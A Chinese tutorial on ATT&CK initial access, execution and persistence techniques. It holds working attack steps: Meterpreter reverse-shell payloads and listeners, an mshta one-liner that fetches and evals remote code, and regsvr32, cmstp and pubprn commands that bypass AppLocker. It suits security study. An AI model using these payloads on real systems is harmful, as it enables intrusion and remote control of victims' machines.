ATT&CK 是一个比较火的攻防行为结构化列表。包含了网络攻击中使用的已知对抗战术和技术,对于各种进攻性和防御性度量、表示和其他机制都非常有用。

这里是ATT&CK前三部分的利用方法和着手点。

0x1初始化访问

这是攻击者对目标服务攻击的立足点,攻击利用点主要包括系统、服务、第三方应用的漏洞,目标服务薄弱的安全防护措施,以及目标服务相关的内部人员、技术支持、信任伙伴等有关接触和联系者。

0x1.1水坑攻击

路过式攻击是指攻击者通过正常浏览网站的用户获得对系统的访问权。主要通过将漏洞代码交付给浏览器。

典型的路过式攻击过程:

  • 用户访问托管攻击者控制内容的网站。
  • 脚本自动执行,通常搜索浏览器的版本和插件以查找可能存在漏洞的版本。 - 可能需要用户通过启用脚本或激活网站组件并忽略告警对话框来协助此过程。
  • 找到易受攻击的版本后,漏洞利用 (exploit) 代码将被发送到浏览器。
  • 如果利用成功,那么它将在用户系统上执行攻击者的代码,除非有其他保护措施。 - 在某些情况下,需要在初始扫描后第二次访问网站,才能发送漏洞利用代码。

路过式攻击应满足的条件:

  • 用户访问含有恶意脚本的站点
  • 客户端系统存在易受攻击的软件

防范手段:

  • 使用现代浏览器并开启安全功能。 确保所有浏览器和插件保持更新,有助于避免该技术的 exploit 阶段。

  • 查找漏洞利用过程中的行为的安全应用程序,如 Windows Defender Exploit Guard (WDEG) 和 Enhanced Mitigation Experience Toolkit (EMET),可以用来缓解某些漏洞利用行为。

0x1.2利用面向公众的应用

使用软件,数据或命令利用计算机系统或程序中的缺陷以引起意外或未预料到的行为。系统中的缺陷可以是错误、小故障或设计漏洞。这些应用程序通常是网站,但可以包括数据库(如 SQL)、标准服务(如 SMB 或 SSH) 和任何具有 Internet 可访问的开放套接字的其他应用程序,如 web 服务器和相关服务。这可能包括防御规避的利用(Exploitation for Defense Evasion),这取决于利用的漏洞。

对于网站和数据库,OWASP top 10 列出了十大最常见的基于 Web 的漏洞

0x1.3额外的远程服务

攻击者通过远程控制服务软件实现对受害主机的控制。

0x1.4硬件添加

以计算机附件、计算机或网络硬件作为执行的载体引入到目标服务的系统或网络。

常见的行为 :

  • 通过badusb插入目标的服务电脑。
  • 连接目标服务的同一个wifi,在内网中渗透。

检测:

  • 资产管理系统可以帮助检测不应存在于网络中的计算机系统或网络设备。
  • 终端传感器可以通过 USB、Thunderbolt 和其他外部设备通信端口检测添加的硬件。

0x1.5通过可移动媒体进行复制

攻击者可以通过将恶意软件复制到可移动的媒体上,利用媒体插入系统并执行的自动运行特性,转移到系统。

0x1.6鱼叉式钓鱼链接

带链接的鱼叉式网络钓鱼是鱼叉式网络钓鱼的一种特殊变体。 它不同于其他形式的鱼叉式网络钓鱼,它使用链接下载电子邮件中包含的恶意软件,而不是将恶意文件附加到电子邮件,以规避可能检查电子邮件附件的防御。

0x1.7鱼叉式钓鱼附件

鱼叉式钓鱼附件是鱼叉式钓鱼的一种特殊变体。 鱼叉式钓鱼附件不同于其他形式的鱼叉式钓鱼,它利用附加到电子邮件的恶意软件 。

攻击者将文件附加到鱼叉式钓鱼电子邮件并通常依赖用户执行 (User Execution ) 来获得执行。
附件可以是 Microsoft Office 文档、可执行文件、pdf 或存档文件等。 在打开附件(并可能点击过去的保护)时,攻击者的有效载荷会利用漏洞或直接在用户系统上执行。

检测:

  • 网络入侵检测系统和电子邮件网关可用于检测带有恶意附件的鱼叉式网络钓鱼。
  • 引爆设计(detonation chambers)也可用于识别恶意附件。
  • 解决方案可以是基于签名和行为的,但是攻击者可能以某种方式构造附件来避免这些机制。
  • 杀毒软件在扫描存储在电子邮件服务器或用户计算机上的文件时,可能会检测到恶意文档和附件。
  • 终端检测或网络检测可以在打开附件(例如 Microsoft Word 文档或 PDF 文件,可以连接到 internet 或生成 Powershell.exe) 时潜在地检测恶意事件,这些事件与客户端执行和脚本的漏洞利用等技术有关。

0x1.8通过服务进行鱼叉式网络钓鱼

通过服务进行的鱼叉式网络钓鱼是鱼叉式钓鱼的一种特殊变体。它不同于其他形式的鱼叉式网络钓鱼,它使用的是第三方服务而不是直接通过企业电子邮件渠道。

0x1.9供应链攻击

供应链攻击是指在最终消费者收到产品或产品交付机制之前,为了数据或攻击系统而进行的操纵。

供应链攻击可以发生在供应链的任何阶段,包括:

  • 开发工具的操作
  • 开发环境的操作
  • 对源代码库(公共或私有)的操作
  • 软件更新/分发机制的操作
  • 受攻击/感染的系统镜像(工厂中多例被感染的可移动媒体)
  • 用修改的版本替换合法软件
  • 向合法分销商销售修改/仿冒产品
  • 产品本身存在漏洞。

尽管供应链的攻击可能会影响硬件或软件的任意组件,但想要获得执行的攻击者往往关注在软件分发阶段或更新渠道中对合法软件进行的恶意添加。 可以以特定的受害者群体为目标, 或将恶意软件分发给广泛的消费者群体,但仅对特定受害者的附加策略。

检测:

  • 通过散列校验或其他完整性校验机制来检验分布式二进制文件。
  • 扫描下载的文件查找是否有恶意签名,并尝试在部署之前测试软件和更新,同时注意潜在的可疑活动。
  • 对硬件进行物理检查以查找潜在的篡改。

0x1.10可信关系

攻击者可能会破坏或利用能够接触到目标受害者的组织。 通过可信的第三方关系利用现有的连接,这些连接可能不受保护或者受到的审查比获取网络访问权的标准机制少。

这些关系的例子包括

  • IT服务承包商
  • 托管安全供应商
  • 基础设施承包商(例如HVAC、电梯、物理安全)

防护措施:

  • 可使用网络分割隔离无需广泛网络访问的基础设施组件。
  • 妥善管理在受信关系中各方使用的帐户和权限,以最大限度地减少在特定方被攻击者攻击后,该方潜在的滥用可能。
  • 审查与需要特权访问网络资源的工作签订合同的组织的安全策略和程序。

0x1.11有效帐户

攻击者可以使用凭据访问技术窃取特定用户或服务帐户的凭据,或者通过社会工程在早期侦察过程中获取凭据,以获取初始访问权限。

0x2执行

0X2.1CMSTP

Microsoft 连接管理器配置文件安装程序 (CMSTP.exe) 是用于安装连接管理器服务配置文件的命令行程序。 CMSTP.exe 接受安装信息文件 (INF) 作为参数,并安装用于远程访问连接的服务配置文件。 攻击者可以将感染恶意命令的 INF 文件传给 CMSTP.exe。 类似于 Regsvr32 /“Squiblydoo”,攻击者可能滥用 CMSTP.exe 从远程服务器加载和执行 DLL 和/或 COM scriptlet (SCT)。

cmstp的利用

1.用cmstp调用恶意的dll
1)首先用msfvenom生成恶意dll文件

1
2
3
4
5
6
root@kali:~/Desktop# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.134 LPORT=4444 -f dll > test.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes

2)msf设置接收链接

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set Lhost 192.168.192.134
Lhost => 192.168.192.134
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.192.134:4444

3)INF文件的RegisterOCXSection包含恶意DLL文件的本地路径或远程执行的WebDAV位置
payload.inf文件

1
2
3
4
5
6
7
8
9
10
11
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
D:\test.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="test"
ShortSvcName="test"

4)cmstp执行INF文件

1
D:\>cmstp.exe /s payload.inf

5)得到meterpreter会话

1
2
3
4
5
6
7
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.192.134:4444
[*] Sending stage (206403 bytes) to 192.168.192.5
[*] Meterpreter session 1 opened (192.168.192.134:4444 -> 192.168.192.5:49207) at 2019-11-23 03:03:58 -0500

meterpreter >

后渗透之meterpreter使用攻略

2.利用cmstp调用恶意的sct

https://pentestlab.blog/2018/05/10/applocker-bypass-cmstp/

0X2.2 命令行界面

命令行界面提供了一种与计算机系统交互的方式,许多操作系统平台都有该功能。在 Windows 系统上命令行界面的一个例子是 cmd,它可以用来执行许多任务,包括执行其他软件。命令行界面可以在本地交互,也可以通过远程桌面应用程序、反向 shell 会话等进行远程交互。执行的命令以命令行界面进程的当前权限级别运行,除非该命令包含更改该执行的权限上下文的进程调用(例如,计划的任务 Scheduled Task)。

攻击者可以使用命令行界面与系统交互,并在操作过程中执行其他软件。

0X2.3 已编译的 HTML 文件

CHM 文件是各种内容(如 HTML 文档、图像)和编程语言相关的脚本/web(如 VBA、JScript、Java 和 ActiveX) 的压缩编译。 CHM 内容使用由 HTML 帮助可执行程序 (hh.exe) 加载的 Internet Explorer 浏览器 的底层组件显示。
攻击者可能会滥用这项技术来隐藏恶意代码。 将包含嵌入式有效载荷的自定义 CHM 文件交付给受害者,然后通过用户执行 (User Execution) 触发。

多种利用方式可看

高级组合技打造“完美” 捆绑后门
CHM渗透:从入门到“入狱”

0X2.4 控制面板项目

在Windows系统中,当用户打开控制面板时,会加载多个CPL文件。这些CPL文件的列表是从注册表中获得的。

Francesco Mifsud 发现,当启动控制面板时,将检查以下两个注册表位置,然后加载CPL。

1
2
HKLM\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs
HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\CPLs

问题就出在第二个注册表的位置,普通用户具有写入权限,所以可以在注册表中写入一个注册表键,该注册表将在控制面板启动时加载和执行恶意代码。唯一的条件是用户的系统允许打开控制面板和注册表。注册表二进制文件位于Windows文件夹内,默认情况下,AppLocker允许执行此文件夹内的所有内容。在大多数环境中也是允许控制面板运行的。

利用过程:
1)首先用msfvenom生成恶意dll文件,并将文件名改为cpl,复制到受害机上。

1
2
3
4
5
6
root@kali:~/Desktop# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.192.134 LPORT=4444 -f dll > test.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 5120 bytes

2)msf设置接收

1
2
3
4
5
6
7
8
9
10
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set Lhost 192.168.192.134
Lhost => 192.168.192.134
msf5 exploit(multi/handler) > set lport 4444
lport => 4444
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.192.134:4444

3)创建一个注册表键,这个注册表键的值将包含存储在主机上的CPL文件的路径

1
reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Control Panel\Cpls" /v pentestlab.cpl /t REG_SZ /d "D:\pentestlab.cpl"

4)等待控制面板启动,反弹个meterpreter.

具体详情可看如下链接:
绕过AppLocker系列之控制面板的利用

0X2.5 动态数据交换dde

Windows 动态数据交换 (DDE) 是用于应用程序之间的一次性和/或连续进程间通信 (IPC) 的客户端-服务器协议 。一旦建立连接,应用程序就可以自主地交换由字符串、温数据链接(数据项更改时的通知)、热数据链接(数据项更改的副本)和命令执行请求组成的事务。

攻击者可以使用 DDE 执行任意命令。Microsoft Office 文档可以通过 DDE 命令 直接或通过嵌入式文件 被污染,并用于通过钓鱼活动或托管 Web 内容交付执行,避免使用 Visual Basic for Applications (VBA) 宏。

防御:

  • 可以将 Microsoft Office 功能控制安全性对应的注册表项设置为禁用 DDE/OLE 自动执行。 Microsoft 还创建了注册表项,以完全禁用 Word 和 Excel 中的 DDE 执行。
  • 确保已启用受保护的视图 并考虑禁用未在受保护的视图中注册的 Office 程序(如 OneNote)中的嵌入文件。
  • 在 Windows 10 上,启用攻击面减少 (ASR) 规则,以防止 DDE 攻击和从 Office 程序生成子进程。

利用示例文章:
Office DDE 漏洞利用复现
Office DDE 漏洞复现笔记

0X2.6 利用 API 执行

攻击者工具可以直接使用 Windows 应用程序编程接口 (API) 来执行二进制文件。诸如 Windows API CreateProcess 这样的函数将允许程序和脚本使用适当的路径和参数启动其他进程。 可以用来执行二进制文件的其他 Windows API
调用包括:

  • CreateProcessA() 和 CreateProcessW(),
  • CreateProcessAsUserA() 和 CreateProcessAsUserW(),
  • CreateProcessInternalA() 和 CreateProcessInternalW (),
  • CreateProcessWithTokenW CreateProcessWithLogonW(),(),
  • LoadLibraryA() 和 LoadLibraryW (),
  • LoadLibraryExA() 和 LoadLibraryExW (),
  • LoadModule (),
  • LoadPackagedLibrary(),
  • WinExec (),
  • ShellExecuteA() 和 ShellExecuteW(),
  • ShellExecuteExA() 和 ShellExecuteExW()

0X2.7 通过模块加载执行

可以指示 Windows 模块加载程序从任意本地路径和任意通用命名规则 (UNC) 网络路径加载 DLL。 这个功能保留在 NTDLL.dll 中,是 Windows 本机 API 的一部分,通过 Win32 API 的 CreateProcess()、LoadLibrary() 等函数调用的。

0X2.8 利用客户端执行

软件可能因为不安全的编码实践而出现漏洞,从而导致非预期行为。 攻击者可以通过有针对性的利用某些漏洞来达到任意代码执行的目的。

存在以下几种类型:

  • 基于浏览器的利用。
    网络浏览器是路过式攻击和鱼叉式钓鱼链接的常见目标
  • 常见的第三方应用程序。
    其他常见应用程序或在目标网络中部署的软件的一部分也可以用于漏洞利用

0X2.9 图形用户界面

图形用户界面 (GUI) 是与操作系统交互的常见方式。攻击者可以在操作期间通常通过远程交互式会话(如远程桌面协议)使用系统的 GUI。

0X2.10 InstallUtil

Installer工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源

利用白名单绕过360实例
利用白名单绕过限制的更多测试

0X2.11 LSASS 驱动程序

本地安全权威 (Local Security Authority, LSA) 是负责本地安全策略和用户身份验证的主要组件。 LSA 包括与各种其他安全功能相关联的多个动态链接库 (DLL),所有这些功能都在 LSA 子系统服务 (LSASS) lsass.exe 上下文中运行。

配置其他LSA保护监控密码过滤器DLL

0X2.12 本地作业调度

在 Linux 和 macOS 系统上,有多种方法可以创建预定的和周期性的后台作业:cron、at、 和 launchd

利用定时任务来执行脚本。
linux定时任务at,batch和crontab

0X2.13 mshta

攻击者可以使用 mshta.exe 通过受信任的 Windows 实用程序代理执行恶意。hta 文件和 Javascript 或 VBScript。

常见的mshta利用方法:

1
mshta http://192.168.3.1/run.hta

run.hta 内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user" // 这里填写命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>

mshta是用来执行hta文件的,经过测试发现,其实没有hta文件,也可以通过mshta来执行命令的,经过几次测试发现mshta不仅可以使用vbscript,而且可以使用javascript来执行命令,整理payload如下:

VBSCRIPT EXEC

1
mshta vbscript:CreateObject("Wscript.Shell").Run("calc.exe",0,true)(window.close)

JAVASCRIPT EXEC

1
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

JSRAT

1
mshta javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.2.101:9998/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im mshta.exe",0,true);}

0X2.14 PowerShell

PowerShell 是 Windows 操作系统中一个强大的交互式命令行界面和脚本环境。 攻击者可以使用 PowerShell 执行许多操作,包括披露信息和执行代码。示例包括可以运行可执行文件的 Start-Process cmdlet 和在本地或远程计算机上运行命令的 Invoke-Command cmdlet。PowerShell 还可以用于从 Internet 下载和运行可执行文件,这些文件可以从磁盘或内存中(无需接触磁盘)执行,使用 PowerShell 连接远程系统需要管理员权限。目前已有许多基于 PowerShell 的攻击测试工具,包括 Empire、PowerSploit、 和 PSAttack。

0X2.15 rundll32

可以调用 rundll32.exe 程序来执行任意二进制文件.

Use SCT

1
regsvr32 /u /s /i:http://urlto/calc.sct scrobj.dll

calc.sct:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?XML version="1.0"?>
<scriptlet>

<registration
description="Empire"
progid="Empire"
version="1.00"
classid="{20001111-0000-0000-0000-0000FEEDACDC}"
>
<!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
<!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
<!-- That should work over a proxy and SSL/TLS... -->
<!-- Proof Of Concept - Casey Smith @subTee -->
<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

]]>
</script>
</registration>

<public>
<method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[

function Exec()
{
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
}

]]>
</script>

</scriptlet>

更多使用方法查看如下文章:
rundll32使用

关于利用rundll32执行程序的分析
AppLocker绕过– Rundll32

0X2.16 REGSVR32

Regsvr32.exe 是一个命令行程序,用于在 Windows 系统上注册和取消注册对象链接和嵌入控件,包括动态链接库 (DLLs)。 Regsvr32.exe 可用于执行任意二进制文件。

1
regsvr32 /u /s /i:http://192.168.3.1/test.data scrobj.dll

test.data内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Learn from Casey Smith @subTee -->
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);

]]>
</script>
</registration>
</scriptlet>

还可以利用 https://github.com/CroweCybersecurity/ps1encode 生成sct(COM scriptlet - requires a webserver to stage the payload)

1
regsvr32 /u /s /i:http://192.168.3.1/test.sct scrobj.dll

AppLocker Bypass – Regsvr32

0X2.17 Regsvcs/Regasm

Regasm和Regsvcs都是用于向COM对象注册程序集文件的Microsoft二进制文件。 这些二进制文件可以在.NET框架中找到,并且由于它们是可信的,所以这两个Microsoft实用程序可以用于绕过AppLocker限制和执行任意代码。

绕过AppLocker系列之Regasm和Regsvcs的利用

0X2.18 Windows 任务计划程序

诸如 at 和 schtasks 之类的实用程序以及 Windows 任务计划程序可以安排在指定日期和时间执行的程序或脚本。

WINDOWS计划任务命令schtasks详解

0X2.19 脚本

攻击者可以使用脚本来帮助操作并执行多个操作,否则需要手动执行这些操作

0X2.20 服务执行

攻击者可以通过与 Windows 服务交互的方法(例如服务控制管理器)执行二进制文件,命令或脚本

0X2.21 签名的二进制代理执行

具有可信数字证书签名的二进制文件可以在受数字签名验证保护的 Windows 系统上执行。 Windows 安装中默认的几个 Microsoft 签名二进制文件可以用于代理其他文件的执行。 攻击者可能会滥用此行为来执行恶意文件,从而绕过系统上的应用程序白名单和签名验证。 该技术考虑了在现有技术中尚未考虑的代理执行方法。

Mavinject.exe
Mavinject.exe 是一个允许代码执行的 Windows 实用程序。 可以使用 Mavinject 将 DLL 注入到正在运行的进程中。

1
"C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe" /INJECTRUNNING C:\Windows\system32\mavinject.exe /INJECTRUNNING

SyncAppvPublishingServer.exe

SyncAppvPublishingServer.exe 可以在不执行 powershell.exe 的情况下运行 powershell 脚本。

存在其他若干个可用于执行类似行为的二进制文件。
Mavinject | Dll Injected

0X2.22 签名脚本代理执行

具有可信证书签名的脚本可用于代理恶意文件的执行。 这种行为可能会绕过签名验证限制和不考虑这些脚本的应用程序白名单解决方案。

由 Microsoft 签名的 PubPrn.vbs 可用于代理远程站点的执行。
示例命令:

1
cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png

还有一些其他签名脚本可以以类似的方式使用。

利用详情:
利用script和scriptlet moniker绕过脚本白名单限制

0X2.23 Source

source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。 攻击者可以用它来执行任意后缀形式的可执行文件。

source的使用方法:

1
2
source filename 
. filename(中间有空格)

0X2.24文件名后的空格

攻击者可以通过更改文件的扩展名来隐藏程序的真正文件类型。对于某些文件类型(特别地,对于拓展名。app 并不适用),在文件名后面追加一个空格将改变操作系统处理该文件的方式。 然后当用户双击时,真正的文件类型取决于操作系统,文件会被恰当处理,同时对应的二进制文件将被执行 。

0X2.25第三方软件

在网络环境中可以使用第三方应用程序和软件部署系统来管理(例如,SCCM、VNC、HBSS、Altiris 等)。如果攻击者获得对这些系统的访问权,那么他们可能能够执行代码。

0X2.26 Trap

Trap 命令的格式如下:
trap“命令列表”signals,当接收时到“signals”,将执行“命令列表”。

0X2.27受信任的开发人员工具

有许多用于软件开发相关工作的实用程序可以用来以多种形式执行代码,以帮助开发、调试和逆向工程。

MSBuild
MSBuild.exe (Microsoft Build Engine) 是 Visual Studio 使用的软件构建平台。 它使用 XML 格式的项目文件,这些文件定义了构建各种平台和配置的需求。

攻击者可以使用 MSBuild 通过受信的 Windows 实用程序代理代码的执行。 .NET 版本 4 中引入的 MSBuild 的内联任务功能允许将 c#代码插入到 XML 项目文件中。 内联任务 MSBuild 将编译并执行内联任务。 MSBuild.exe 是由 Microsoft 签名的二进制文件,因此当以这种方式使用它时,可以执行任意代码并绕过配置为允许 MSBuild.exe 的应用程序白名单防御。

DNX
.NET 执行环境 (DNX), DNX.exe 是随 Visual Studio Enterprise 打包的软件开发工具包。 它在 2016 年被淘汰,取而代之的是。NET Core CLI 。 DNX 不存在于 Windows 的标准版本中,并且可能只存在于使用旧版。NET Core 和 ASP.NET Core 1.0 的开发人员工作站上。 可执行文件 dnx.exe 由 Microsoft 签名。 攻击者可以使用 DNX. exe 代理执行任意代码,以绕过允许 DNX 执行的应用程序白名单策略。

RCSI Rcsi.exe 实用程序是用于 c#的非交互式命令行接口,类似于 csi.exe。 Roslyn.net 编译器平台的早期版本提供 Rcsi.exe,但是在集成解决方案中弃用了。 rcsi.exe 由 Microsoft 签名。

在命令行上使用 rcsi.exe 编写和执行 c# .csx 脚本文件。 攻击者可以使用 rcsi.exe 来代理执行任意代码,从而绕过允许 rcsi.exe 执行的应用程序白名单策略。

WinDbg /CDB
WinDbg 是一个 Microsoft Windows 内核和用户模式调试工具。Microsoft Console Debugger (CDB) cdb.exe 也是用户模式调试器。 这两个实用程序都在 Windows 软件开发工具包中,可以作为独立的工具使用。它们通常用于软件开发和逆向工程,在典型的 Windows 系统中可能找不到。 WinDbg.exe 和 cdb.exe 都是由 Microsoft 签名的。攻击者可以使用 WinDbg.exe 和 cdb.exe 来代理任意代码的执行,从而绕过允许这些实用程序执行的应用程序白名单策略。

其他调试器也可以用于类似的目的,比如内核模式调试器 kd.exe,它也由 Microsoft 签名。

Tracker
文件跟踪器 tracker.exe,作为 MSBuild 的一部分包含在。NET 框架中。它用于记录对 Windows 文件系统的调用。

攻击者可以利用 tracker.exe 将任意 DLL 的执行代理到其他进程中。 tracker.exe 也具有签名,因此可以使用它来绕过应用程序白名单解决方案。

0X2.28用户执行

攻击者可以依靠用户的特定操作来获得执行。 这可以是直接代码执行,例如当用户打开鱼叉式钓鱼附件 (Spearphishing Attachment) 传递的恶意可执行文件时,该文件带有图标和文档的明显文件扩展名。 它还可能导致其他执行技术,例如当用户单击通过鱼叉式钓鱼链接 (Spearphishing Link) 传递的链接,从而通过客户端执行利用(Exploitation for Client Execution)实现对浏览器或应用程序的漏洞利用。 虽然用户执行 (User Execution) 通常发生在初始访问(Initial Access)不久之后,但也可能发生在入侵的其他阶段,例如当攻击者将文件放置在共享目录中或用户桌面,希望用户单击它时。

0X2.29Windows 管理规范

Windows 管理规范 (WMI) 是 Windows 管理的一个功能,它为本地和远程访问 Windows 系统组件提供了统一的环境。它依赖于本地和远程访问的 WMI 服务以及远程访问的服务器消息块(SMB) 和远程过程调用服务(RPCS)。RPC 在 135 端口上运行。 攻击者可以使用 WMI 与本地和远程系统进行交互,并将其用作执行许多策略功能的手段,例如收集发现的信息和远程执行文件,作为横向移动的一部分。

0X2.30Windows 远程管理

Windows 远程管理(WinRM)代表允许用户与远程系统交互的 Windows 服务和协议(例如,运行可执行文件,修改注册表,修改服务)。 winrm 命令和很多程序(如 PowerShell)都可以调用它。

一条命令实现端口复用后门

0X2.31XSL 脚本处理

可扩展样式表语言 (XSL) 文件通常用于描述 XML 文件中的数据处理和渲染方式。 为了支持复杂的操作,XSL 标准包括对各种语言的嵌入式脚本的支持。

0x3持久化

持久化是指任何对系统的访问,操作或配置更改,使攻击者在该系统上持续地存在。攻击者通常需要通过中断来维持对系统的访问,例如系统重启,凭据丢失或其他需要远程访问工具重新启动或备用后门才能重新获得访问权限的故障。

0x3.1.bash_profile 和.bashrc

在打开新 shell 或用户登录时,会在用户的上下文中执行/.bash_profile 和/.bashrc ,以便正确设置其环境。 ~/.bash_profile 用于登录 shell,而 ~/.bashrc 在交互式非登录 shell 中执行。

攻击者恶意的脚本写入.bash_profile 或.bashrc,每次打开新 shell 或用户登录时,恶意脚本再次执行,实行持久化控制。

详情可看此篇文章.
关于“.bash_profile”和“.bashrc”区别的总结

0x3.2辅助功能

Windows 包含可在用户登录前使用组合键启动的辅助功能(例如,当用户在 Windows 登录屏幕上时)。攻击者可以修改这些程序的启动方式,以获取命令提示符或后门而无需登录系统。

两个常用的辅助功能程序,C:\Windows\System32\sethc.exe 按下五次 Shift 键启动。C:\Windows\System32\utilman.exe 按下 Windows + U 组合键启动。sethc.exe 程序通常被称为“粘性密钥”,并且已被攻击者用于通过远程桌面登录屏幕进行未经身份验证的访问。

1
2
3
4
5
屏幕键盘: C:\Windows\System32\osk.exe
放大镜: C:\Windows\System32\Magnify.exe
旁白: C:\Windows\System32\Narrator.exe
显示切换器:C:\Windows\System32\DisplaySwitch.exe
App 切换器: C:\Windows\System32\AtBroker.exe

0x3.3账户操作

帐户操作可以帮助攻击者维持对环境中的凭据和特定权限级别的访问权限。操作可以包括修改权限、修改凭据、添加或更改权限组、修改帐户设置或修改身份验证的执行方式。这些操作还可以包括旨在破坏安全策略的帐户活动,例如重复更新密码来破坏有关密码持续时间的策略并保持已盗取凭据的有效性。

0x3.4AppCert DLL

注册表键 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager 中的 AppCertDLLs 值指定的动态链接库 (DLL) 会被加载到每个调用常用的应用程序编程接口 (API) 函数的进程中:

1
2
3
4
CreateProcess
CreateProcessAsUser
CreateProcessWithLoginW
CreateProcessWithTokenW

类似于进程注入,攻击者可以滥用该值,通过使恶意 DLL 被加载并在计算机上独立进程的上下文中运行,实现持久化和特权升级。

0x3.5AppInit DLL

注册表键值 AppInit_DLLs 位于

1
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows或 HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows。

它所指向的动态链接库(DLL)都会加载到每个使用到 User32.DLL 的进程实际上,这几乎等同于所有程序。因为 user32.dll 是一个十分常见的库。类似于进程注入,攻击者可以滥用这些值,通过使恶意 DLL 被加载并在计算机上独立进程的上下文中运行,实现持久化和特权升级。在 Windows 8 和更高版本中开启安全引导 (secure boot) 模式时,AppInit DLL 功能会被禁用。

0x3.6应用 Shimming

创建 Microsoft Windows 应用程序兼容性基础架构/框架 (Application Shim) 是为了在操作系统代码库随时间变化的同时保持软件的向后兼容性。 例如,应用程序 shimming 特性允许开发人员将补丁应用于为 Windows XP 创建的应用程序(不需要重新编写代码),这样它就可以兼容 Windows 10。

为了保证 shim 的安全,Windows 将它们设为在用户模式下运行,这样它们就无法修改内核,您必须具有管理员权限才能安装 shim 。 但是,某些 shim 可以用来绕过用户帐户控制 (UAC) (RedirectEXE)、将 DLL 注入进程 (InjectDLL)、禁用数据执行保护 (DisableNX) 和结构异常处理 (DisableSEH) 以及截获内存地址 (GetProcAddress)。 与 hook 类似,使用这些 shim 可能允许攻击者执行一些恶意行为,如提升权限、安装后门、禁用如 Windows Defender 的防御等。

渗透测试中的应用程序兼容性片

0x3.7身份验证包

Windows 身份验证包 DLL 在系统启动时由本地安全机构(LSA)进程加载。 它们支持操作系统的多登录过程和多安全协议。

攻击者可以使用 LSA 身份验证包提供的自动启动机制来实现持久化,方法是在 Windows 注册表 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\位置放置对二进制文件的引用,该键值为”Authentication Packages”=。在加载身份验证包时,系统将执行该二进制文件。

0x3.8BITS 作业

Windows 后台智能传输服务 (BITS) 是一种低带宽、异步的文件传输机制,通过组件对象模型 (COM) 供外部调用。可以通过 PowerShell 和 BITSAdmin 工具访问创建和管理 BITS 作业的接口。

攻击者可能会滥用 BITS 来下载、执行,甚至在运行恶意代码后清理痕迹。 BITS 任务在 BITS 作业数据库中是自包含的,不需要新文件或修改注册表,而且通常被主机防火墙允许。 了 BITS 启用执行还可以通过创建长期作业(默认最大生存期为 90 天,可延长)或在作业完成或出现错误(包括系统重新启动后)时调用任意程序来实现持久化 (Persistence )。

利用详情可看
Persistence – BITS Jobs

0x3.9Bootkit

